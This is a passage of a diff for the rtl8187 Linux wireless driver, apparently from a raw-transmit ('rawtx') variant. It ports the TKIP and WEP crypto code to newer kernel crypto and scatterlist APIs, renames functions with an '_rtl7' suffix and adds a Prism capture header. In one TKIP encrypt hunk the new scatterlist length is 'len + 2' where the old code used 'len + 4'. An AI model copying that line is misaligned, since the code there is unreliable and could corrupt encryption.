tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,23 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#else + sg_set_page(&sg, virt_to_page(pos), len + 2, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +416,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +428,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +476,30 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,33 +533,59 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[0].page = virt_to_page(hdr); sg[0].offset = offset_in_page(hdr); sg[0].length = 16; +#else + sg_set_page(&sg[0], virt_to_page(hdr), 16, offset_in_page(hdr)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[1].page = virt_to_page(data); sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#else + sg_set_page(&sg[1], virt_to_page(data), data_len, offset_in_page(data)); +#endif +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +615,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +627,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +665,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +681,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +689,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +698,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +716,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +732,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +777,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +807,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +834,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c 2008-01-30 17:39:05.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,25 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#else + sg_set_page(&sg, virt_to_page(pos), len + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +214,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +244,26 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +284,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +298,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +311,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +320,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h 2008-01-30 17:38:11.000000000 +0100 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ 